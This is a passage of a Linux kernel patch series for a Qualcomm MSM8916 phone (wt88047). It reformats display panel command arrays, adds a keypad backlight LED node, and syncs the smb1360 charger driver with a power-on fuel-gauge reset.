01 00 00 00 00 02 C6 10 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 13 C7 90 89 89 88 88 99 88 88 88 88 88 88 87 88 87 87 88 77 + 29 01 00 00 00 00 02 51 FF + 29 01 00 00 00 00 02 53 2C + 29 01 00 00 00 00 02 55 01 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 02 C6 10 + 29 01 00 00 00 00 02 00 92 + 29 01 00 00 00 00 05 C5 C0 17 C0 1B + 29 01 00 00 00 00 02 00 97 + 29 01 00 00 00 00 02 C5 16 + 29 01 00 00 00 00 02 00 99 + 29 01 00 00 00 00 02 C5 1A + 29 01 00 00 00 00 02 00 A2 + 29 01 00 00 00 00 05 C5 C0 17 C0 1B + 29 01 00 00 00 00 02 00 A7 + 29 01 00 00 00 00 02 C5 16 + 29 01 00 00 00 00 02 00 A9 + 29 01 00 00 00 00 02 C5 1A + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 78 00 01 11 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 01 29]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <10>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi index 0111a3fe8d566..fcc0abc808b7d 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -38,8 +38,16 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 04 ff 12 85 01 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 03 ff 12 85 29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 0a 00 01 29]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 04 FF 12 85 01 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 03 FF 12 85 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 78 00 01 11 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 0A 00 01 29]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <10>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi index a80b80cc04605..93f58696a0fca 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2015, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -38,8 +38,21 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 0a 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 + 39 01 00 00 00 00 02 36 00 + 39 01 00 00 00 00 02 3A 07 + 29 01 00 00 00 00 02 B0 04 + 29 01 00 00 00 00 08 C1 50 02 22 00 00 ED 11 + 29 01 00 00 00 00 19 C8 1A 24 29 2D 32 37 14 13 10 0C 0A 06 1A 24 28 2D 32 37 14 13 10 0C 0A 06 + 29 01 00 00 00 00 09 CB 10 20 40 80 A0 C0 D0 E0 + 29 01 00 00 00 00 04 CC C8 D8 FF + 29 01 00 00 00 00 08 CD 1C 1E 1E 1D 1C 1E 1E + 29 01 00 00 00 00 08 CE 1E 1E 1E 1D 1D 1E 1E + 29 01 00 00 00 00 08 CF 1E 1F 20 20 20 20 21 + 29 01 00 00 00 00 02 B0 03 + 05 01 00 00 0A 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; @@ -49,14 +62,14 @@ qcom,mdss-dsi-lane-0-state; qcom,mdss-dsi-lane-1-state; qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [9b 22 18 00 4a 4c 1c 26 1d 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x4>; - qcom,mdss-dsi-t-clk-pre = <0x1f>; + qcom,mdss-dsi-panel-timings = [9B 22 18 00 4A 4C 1C 26 1D 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x1F>; qcom,mdss-dsi-tx-eot-append; qcom,mdss-dsi-panel-status-check-mode = "reg_read"; qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0a 08]; - qcom,mdss-dsi-panel-status-value = <0x1 0x1c>; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; + qcom,mdss-dsi-panel-status-value = <1 0x1C>; qcom,mdss-dsi-bl-min-level = <1>; qcom,mdss-dsi-bl-max-level = <255>; qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi index 0e5794c622b4e..8ab10e76b6ca1 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -21,8 +21,8 @@ qcom,mdss-dsi-stream = <0>; qcom,mdss-dsi-panel-width = <720>; qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-pan-physical-width-dimension = <62>; + qcom,mdss-pan-physical-height-dimension = <114>; qcom,mdss-dsi-h-front-porch = <134>; qcom,mdss-dsi-h-back-porch = <130>; qcom,mdss-dsi-h-pulse-width = <2>; @@ -38,8 +38,21 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 0a 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 + 39 01 00 00 00 00 02 36 00 + 39 01 00 00 00 00 02 3A 07 + 29 01 00 00 00 00 02 B0 04 + 29 01 00 00 00 00 08 C1 50 02 22 00 00 ED 11 + 29 01 00 00 00 00 19 C8 1A 24 29 2D 32 37 14 13 10 0C 0A 06 1A 24 28 2D 32 37 14 13 10 0C 0A 06 + 29 01 00 00 00 00 09 CB 10 20 40 80 A0 C0 D0 E0 + 29 01 00 00 00 00 04 CC C8 D8 FF + 29 01 00 00 00 00 08 CD 1C 1E 1E 1D 1C 1E 1E + 29 01 00 00 00 00 08 CE 1E 1E 1E 1D 1D 1E 1E + 29 01 00 00 00 00 08 CF 1E 1F 20 20 20 20 21 + 29 01 00 00 00 00 02 B0 03 + 05 01 00 00 0A 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; @@ -49,14 +62,14 @@ qcom,mdss-dsi-lane-0-state; qcom,mdss-dsi-lane-1-state; qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [a8 26 1a 00 50 54 1E 2a 1E 03 04 00]; + qcom,mdss-dsi-panel-timings = [A8 26 1A 00 50 54 1E 2A 1E 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x03>; qcom,mdss-dsi-t-clk-pre = <0x21>; qcom,mdss-dsi-tx-eot-append; qcom,mdss-dsi-panel-status-check-mode = "reg_read"; qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0a 08]; - qcom,mdss-dsi-panel-status-value = <0x1 0x1c>; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; + qcom,mdss-dsi-panel-status-value = <1 0x1C>; qcom,mdss-dsi-bl-min-level = <1>; qcom,mdss-dsi-bl-max-level = <255>; qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi index 85e96132346b4..a0e5a6c8af15d 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -38,8 +38,14 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 b0 00 29 01 00 00 00 00 02 d6 01 29 01 00 00 00 00 02 b3 1c 29 01 00 00 00 00 02 b0 03 05 01 00 00 00 00 02 29 00 05 01 00 00 78 00 02 11 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 14 00 02 28 00 05 01 00 00 dc 00 02 10 00]; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 B0 00 + 29 01 00 00 00 00 02 D6 01 + 29 01 00 00 00 00 02 B3 1C + 29 01 00 00 00 00 02 B0 03 + 05 01 00 00 00 00 02 29 00 + 05 01 00 00 78 00 02 11 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 14 00 02 28 00 + 05 01 00 00 DC 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <10>; From 828f568e2665a9b5a685069581cf5adcf58f45f0 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 20 Jun 2016 16:12:00 +0700 Subject: [PATCH 132/365] dts: Add missing gpio-leds config from L source drop Change-Id: I1bfb877e56c47cb2cd748e310fcabb69caf7fbc3 --- .../boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 96480e9c518dd..20cddb094a369 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -129,6 +129,19 @@ qcom,bq2022a-id-gpio = <&pm8916_gpios 3 0>; status= "okay"; }; + + gpio-leds { + compatible = "gpio-leds"; + status = "okay"; + pinctrl-names = "default"; + pinctrl-0 = <&button_backlight_off>; + + keypad-backlight { + gpios = <&msm_gpio 119 0>; + label = "button-backlight"; + linux,default-trigger = "none"; + }; + }; }; &pm8916_mpps { @@ -245,6 +258,11 @@ bias-pull-down; }; }; + + gpio_led_pins { + qcom,pins = <&gp 16>, <&gp 17>; + qcom,num-grp-pins = <2>; + }; }; &i2c_0 { /* BLSP1 QUP2 */ From 16db326abd6777afc2e7f5931d14b4c8d3a519c3 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 20 Jun 2016 19:41:01 +0700 Subject: [PATCH 133/365] smb1360-charger-fg-wt88047: Sync to L source drop and fix it * Set battery status to discharge when usb is unplugged from Chao Chen * Without Wingtech device tree parsing white space error * I have found 54 white space error in their original L source and 9 here. Change-Id: Ibfb70354d936e24c9add18f7ff76e478bad2d049 --- drivers/power/smb1360-charger-fg-wt88047.c | 206 ++++++++++++++------- 1 file changed, 142 insertions(+), 64 deletions(-) diff --git a/drivers/power/smb1360-charger-fg-wt88047.c b/drivers/power/smb1360-charger-fg-wt88047.c index de422a0c737dd..53579a2cdbfa6 100644 --- a/drivers/power/smb1360-charger-fg-wt88047.c +++ b/drivers/power/smb1360-charger-fg-wt88047.c @@ -1,5 +1,5 @@ -/* Copyright (c) 2013-2014 The Linux Foundation. All rights reserved. - * Modified for WT88047 by XiaoMi and/or Wingtech, 2015 +/* Copyright (c) 2013-2015 The Linux Foundation. All rights reserved. + * Modified for WT88047 by XiaoMi and/or Wingtech, 2016 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -75,7 +75,7 @@ #define CHG_STAT_DISABLE_BIT BIT(0) #define CFG_SFY_TIMER_CTRL_REG 0x0A -#define SAFETY_TIME_EN_BIT BIT(4) +#define SAFETY_TIME_EN_BIT BIT(4) #define SAFETY_TIME_MINUTES_SHIFT 2 #define SAFETY_TIME_MINUTES_MASK SMB1360_MASK(3, 2) @@ -125,10 +125,8 @@ #define JEITA_COMP_EN_MASK SMB1360_MASK(7, 4) #define JEITA_COMP_EN_SHIFT 4 #define JEITA_COMP_EN_BIT SMB1360_MASK(7, 4) - #define BATT_CHG_FLT_VTG_REG 0x15 #define VFLOAT_MASK SMB1360_MASK(6, 0) - #define CFG_FVC_REG 0x16 #define FLT_VTG_COMP_MASK SMB1360_MASK(6, 0) @@ -136,8 +134,8 @@ #define SHDN_CMD_USE_BIT BIT(1) #define SHDN_CMD_POLARITY_BIT BIT(2) -#define CURRENT_GAIN_LSB_REG 0x1D -#define CURRENT_GAIN_MSB_REG 0x1E +#define CURRENT_GAIN_LSB_REG 0x1D +#define CURRENT_GAIN_MSB_REG 0x1E /* Command Registers */ #define CMD_I2C_REG 0x40 @@ -243,6 +241,10 @@ #define MAX_8_BITS 255 #define JEITA_WORK_MS 3000 +#define FG_RESET_THRESHOLD_MV 15 +#define SMB1360_FG_RESET_DELAY_MS 1500 +#define VOLTAGE_PREDICTED_REG 0x80 + #define SMB1360_REV_1 0x01 enum recharge_type { FG_SOC_AUTO_RECHARGE = 0, @@ -321,7 +323,7 @@ struct smb1360_chip { int current_recharge_type; int soft_cold_thresh; int soft_hot_thresh; - unsigned int pre_to_fast_charge_mv; + unsigned int pre_to_fast_charge_mv; int otg_batt_curr_limit; /* configuration data - fg */ @@ -340,6 +342,8 @@ struct smb1360_chip { int fg_auto_recharge_soc; /* status tracking */ + int fg_reset_threshold_mv; + bool fg_reset_at_pon; bool rsense_10mohm; bool usb_present; bool batt_present; @@ -625,14 +629,15 @@ static int64_t float_decode(u16 reg) return final_val; } -#define MAX_MANTISSA (1023 * 1000000ULL) + +#define MAX_MANTISSA (1023 * 1000000ULL) unsigned int float_encode(int64_t float_val) { int exponent = 0, sign = 0; unsigned int final_val = 0; if (float_val == 0) - return 0; + return 0; if (float_val < 0) { sign = 1; @@ -669,11 +674,33 @@ unsigned int float_encode(int64_t float_val) /* Convert to 5 bit exponent, 11 bit mantissa */ final_val = (float_val & MANTISSA_MASK) | (sign << SIGN_SHIFT) | - ((exponent << EXPONENT_SHIFT) & EXPONENT_MASK); + ((exponent << EXPONENT_SHIFT) & EXPONENT_MASK); return final_val; } +/* FG reset could only be done after FG access being granted */ +static int smb1360_force_fg_reset(struct smb1360_chip *chip) +{ + int rc; + + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_RESET_BIT, + FG_RESET_BIT); + if (rc) { + pr_err("Couldn't reset FG rc=%d\n", rc); + return rc; + } + + msleep(SMB1360_FG_RESET_DELAY_MS); + + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_RESET_BIT, 0); + if (rc) + pr_err("Couldn't un-reset FG rc=%d\n", rc); + + return rc; +} + + static int smb1360_enable_fg_access(struct smb1360_chip *chip) { int rc; @@ -845,7 +872,8 @@ static int smb1360_charging_disable(struct smb1360_chip *chip, int reason, return rc; } -static int smb1360_soft_jeita_comp_enable(struct smb1360_chip *chip, bool enable) +static int smb1360_soft_jeita_comp_enable(struct smb1360_chip *chip, + bool enable) { int rc = 0; @@ -854,6 +882,7 @@ static int smb1360_soft_jeita_comp_enable(struct smb1360_chip *chip, bool enable if (rc) pr_err("Couldn't %s JEITA compensation\n", enable ? "enable" : "disable"); + return rc; } @@ -882,14 +911,8 @@ static int smb1360_get_prop_batt_status(struct smb1360_chip *chip) { int rc; u8 reg = 0, chg_type; - union power_supply_propval prop = {0,}; - - rc = chip->usb_psy->get_property(chip->usb_psy, - POWER_SUPPLY_PROP_ONLINE, &prop); - if (rc < 0) - pr_err("Couldn't not read USB ONLINE property, rc=%d\n", rc); - if (chip->batt_full && prop.intval) + if (chip->batt_full && chip->usb_present) return POWER_SUPPLY_STATUS_FULL; rc = smb1360_read(chip, STATUS_3_REG, ®); @@ -992,7 +1015,7 @@ static int smb1360_get_prop_batt_capacity(struct smb1360_chip *chip) soc += 1; if (chip->empty_soc) { - pr_err("zzj empty_soc\n"); + if (soc > 0) chip->empty_soc = false; @@ -1000,10 +1023,12 @@ static int smb1360_get_prop_batt_capacity(struct smb1360_chip *chip) pr_debug("msys_soc_reg=0x%02x, fg_soc=%d batt_full = %d\n", reg, soc, chip->batt_full); + if (soc == 100) chip->batt_full = 1; else chip->batt_full = 0; + return chip->batt_full ? 100 : bound(soc, 0, 100); } @@ -1212,7 +1237,7 @@ static int smb1360_set_appropriate_usb_current(struct smb1360_chip *chip) pr_debug("ICL set to = %d\n", input_current_limit[i]); if ((current_ma <= CURRENT_100_MA) && - (chip->workaround_flags & WRKRND_USB100_FAIL)) { + (chip->workaround_flags & WRKRND_USB100_FAIL)) { pr_debug("usb100 not supported\n"); current_ma = CURRENT_500_MA; } @@ -1379,7 +1404,7 @@ static int smb1360_recharge_type_set(struct smb1360_chip *chip, enum recharge_ty pr_debug("fg_auto_recharge_soc:%d warm_recharge_mv:%d\n", chip->fg_auto_recharge_soc, chip->warm_recharge_mv); if (chip->fg_auto_recharge_soc != -EINVAL - || chip->warm_recharge_mv != -EINVAL) { + || chip->warm_recharge_mv != -EINVAL) { rc = smb1360_enable_fg_access(chip); if (rc) { pr_err("Couldn't enable FG access rc=%d\n", rc); @@ -1610,7 +1635,6 @@ static void smb1360_jeita_work_fn(struct work_struct *work) if (temp > chip->hot_bat_decidegc) { /* battery status is hot, only config thresholds */ - rc = smb1360_set_soft_jeita_threshold(chip, chip->warm_bat_decidegc, chip->hot_bat_decidegc); if (rc) { @@ -1621,10 +1645,8 @@ static void smb1360_jeita_work_fn(struct work_struct *work) } else if (temp > chip->warm_bat_decidegc || (temp == chip->warm_bat_decidegc && !!chip->soft_hot_rt_stat)) { /* battery status is warm, update status and do compensation manually */ - chip->batt_warm = true; chip->batt_cool = false; - rc = smb1360_float_voltage_set(chip, chip->warm_bat_mv); if (rc) { dev_err(chip->dev, "Couldn't warm set float voltage\n"); @@ -1644,10 +1666,8 @@ static void smb1360_jeita_work_fn(struct work_struct *work) } else if (temp > chip->cool_bat_decidegc || (temp == chip->cool_bat_decidegc && !chip->soft_cold_rt_stat)) { /* battery status is good, do the normal charging */ - chip->batt_warm = false; chip->batt_cool = false; - rc = smb1360_float_voltage_set(chip, chip->vfloat_mv); if (rc) { dev_err(chip->dev, "Couldn't set float voltage\n"); @@ -1715,7 +1735,6 @@ static int hot_soft_handler(struct smb1360_chip *chip, u8 rt_stat) chip->soft_hot_rt_stat = rt_stat; pr_debug("rt_stat = 0x%02x\n", rt_stat); - /* update batt_cool and batt_warm flags if we not take it in work around */ if (!chip->config_hard_thresholds) chip->batt_warm = !!rt_stat; @@ -1733,7 +1752,6 @@ static int cold_soft_handler(struct smb1360_chip *chip, u8 rt_stat) int rc = 0; chip->soft_cold_rt_stat = rt_stat; pr_debug("rt_stat = 0x%02x\n", rt_stat); - /* update batt_cool and batt_warm flags if we not take it in work around */ if (!chip->config_hard_thresholds) chip->batt_cool = !!rt_stat; @@ -1873,28 +1891,26 @@ static int smb1360_select_fg_i2c_address(struct smb1360_chip *chip) case FG_ACCESS_CFG: addr = (addr & ~FG_I2C_CFG_MASK) | FG_CFG_I2C_ADDR; break; - case FG_ACCESS_PROFILE_A: addr = (addr & ~FG_I2C_CFG_MASK) | FG_PROFILE_A_ADDR; break; - case FG_ACCESS_PROFILE_B: addr = (addr & ~FG_I2C_CFG_MASK) | FG_PROFILE_B_ADDR; break; - default: pr_err("Invalid FG access type=%d\n", chip->fg_access_type); - return -EINVAL; + return -EINVAL; } chip->fg_i2c_addr = addr >> 0x1; pr_debug("FG_access_type=%d fg_i2c_addr=%x\n", chip->fg_access_type, - chip->fg_i2c_addr); + chip->fg_i2c_addr); return 0; } -static int smb1360_adjust_current_gain(struct smb1360_chip *chip, int gain_factor) +static int smb1360_adjust_current_gain(struct smb1360_chip *chip, + int gain_factor) { int i, rc; int64_t current_gain, new_current_gain; @@ -1943,21 +1959,22 @@ static int smb1360_adjust_current_gain(struct smb1360_chip *chip, int gain_facto for (i = 0; i < ARRAY_SIZE(reg_val_mapping); i++) { if (reg_val_mapping[i][0] == 0xE1) - reg_val_mapping[i][1] = reg[0]; + reg_val_mapping[i][1] = reg[0]; if (reg_val_mapping[i][0] == 0xE3) - reg_val_mapping[i][1] = reg[1]; + reg_val_mapping[i][1] = reg[1]; pr_debug("Writing reg_add=%x value=%x\n", reg_val_mapping[i][0], reg_val_mapping[i][1]); rc = smb1360_fg_write(chip, reg_val_mapping[i][0], - reg_val_mapping[i][1]); + reg_val_mapping[i][1]); if (rc) { pr_err("Write fg address 0x%x failed, rc = %d\n", - reg_val_mapping[i][0], rc); + reg_val_mapping[i][0], rc); return rc; } } + return 0; } @@ -1985,13 +2002,13 @@ static int smb1360_otp_gain_config(struct smb1360_chip *chip, int gain_factor) } rc = smb1360_masked_write(chip, CFG_FG_BATT_CTRL_REG, - CFG_FG_OTP_BACK_UP_ENABLE, CFG_FG_OTP_BACK_UP_ENABLE); + CFG_FG_OTP_BACK_UP_ENABLE, CFG_FG_OTP_BACK_UP_ENABLE); if (rc) { pr_err("Write reg 0x0E failed, rc = %d\n", rc); goto restore_fg; } - restore_fg: +restore_fg: rc = smb1360_disable_fg_access(chip); if (rc) { pr_err("Couldn't disable FG access rc = %d\n", rc); @@ -1999,7 +2016,7 @@ static int smb1360_otp_gain_config(struct smb1360_chip *chip, int gain_factor) } return rc; -} + } struct smb_irq_info { const char *name; @@ -2112,7 +2129,7 @@ static struct irq_handler_info handlers[] = { { { .name = "power_ok", - .smb_irq = power_ok_handler, + .smb_irq = power_ok_handler, }, { .name = "unused", @@ -2732,7 +2749,6 @@ static int smb1360_otg_regulator_enable(struct regulator_dev *rdev) CMD_OTG_EN_BIT); if (rc) pr_err("Couldn't enable OTG mode rc=%d\n", rc); - return rc; } @@ -2890,7 +2906,6 @@ static int smb1360_check_batt_profile(struct smb1360_chip *chip) rc = -EAGAIN; goto restore_fg; } - /* delay after handshaking for profile-switch to continue */ msleep(1500); @@ -2979,9 +2994,9 @@ static int determine_initial_status(struct smb1360_chip *chip) return rc; } - if (chip->workaround_flags & WRKRND_HARD_JEITA) + if (chip->workaround_flags & WRKRND_HARD_JEITA) { schedule_delayed_work(&chip->jeita_work, 0); - else { + } else { if (reg & IRQ_A_HOT_HARD_BIT) chip->batt_hot = true; if (reg & IRQ_A_COLD_HARD_BIT) @@ -3008,6 +3023,54 @@ static int smb1360_fg_config(struct smb1360_chip *chip) int rc = 0, temp, fcc_mah; u8 reg = 0, reg2[2]; + if (chip->fg_reset_at_pon) { + int v_predicted, v_now; + + rc = smb1360_enable_fg_access(chip); + if (rc) { + pr_err("Couldn't enable FG access rc=%d\n", rc); + return rc; + } + + rc = smb1360_read_bytes(chip, VOLTAGE_PREDICTED_REG, reg2, 2); + if (rc) { + pr_err("Failed to read VOLTAGE_PREDICTED rc=%d\n", rc); + goto disable_fg_reset; + } + v_predicted = (reg2[1] << 8) | reg2[0]; + v_predicted = div_u64(v_predicted * 5000, 0x7FFF); + + rc = smb1360_read_bytes(chip, SHDW_FG_VTG_NOW, reg2, 2); + if (rc) { + pr_err("Failed to read SHDW_FG_VTG_NOW rc=%d\n", rc); + goto disable_fg_reset; + } + v_now = (reg2[1] << 8) | reg2[0]; + v_now = div_u64(v_now * 5000, 0x7FFF); + + pr_debug("v_predicted=%d v_now=%d reset_threshold=%d\n", + v_predicted, v_now, chip->fg_reset_threshold_mv); + + /* + * Reset FG if the predicted voltage is off wrt + * the real-time voltage. + */ + temp = abs(v_predicted - v_now); + if (temp >= chip->fg_reset_threshold_mv) { + pr_info("Reseting FG - v_delta=%d threshold=%d\n", + temp, chip->fg_reset_threshold_mv); + /* delay for the FG access to settle */ + msleep(1500); + rc = smb1360_force_fg_reset(chip); + if (rc) { + pr_err("Couldn't reset FG rc=%d\n", rc); + goto disable_fg_reset; + } + } +disable_fg_reset: + smb1360_disable_fg_access(chip); + } + /* * The below IRQ thresholds are not accessible in REV_1 * of SMB1360. @@ -3245,7 +3308,6 @@ static int smb1360_fg_config(struct smb1360_chip *chip) chip->current_recharge_type = FG_SOC_AUTO_RECHARGE; } - disable_fg: /* disable FG access */ smb1360_disable_fg_access(chip); @@ -3253,6 +3315,7 @@ static int smb1360_fg_config(struct smb1360_chip *chip) return rc; } + static void smb1360_check_feature_support(struct smb1360_chip *chip) { @@ -3307,8 +3370,8 @@ static int smb1360_enable(struct smb1360_chip *chip, bool enable) dev_err(chip->dev, "Couldn't shutdown smb1360 rc = %d\n", rc); return rc; - } } + } } else { dev_dbg(chip->dev, "SMB not configured for CMD based shutdown\n"); } @@ -3332,6 +3395,7 @@ static int smb1360_jeita_init(struct smb1360_chip *chip) { int rc = 0; int temp; + if (chip->config_hard_thresholds) { if (chip->soft_jeita_supported) { chip->workaround_flags |= WRKRND_HARD_JEITA; @@ -3365,7 +3429,7 @@ static int smb1360_jeita_init(struct smb1360_chip *chip) FLT_VTG_COMP_MASK, temp); if (rc < 0) { dev_err(chip->dev, "Couldn't set VFLT compensation = %d", - rc); + rc); return rc; } @@ -3427,8 +3491,8 @@ static int smb1360_hw_init(struct smb1360_chip *chip) if (chip->rsense_10mohm) { rc = smb1360_otp_gain_config(chip, 2); if (rc < 0) { - pr_err("Couldn't config OTP rc=%d\n", rc); - return rc; + 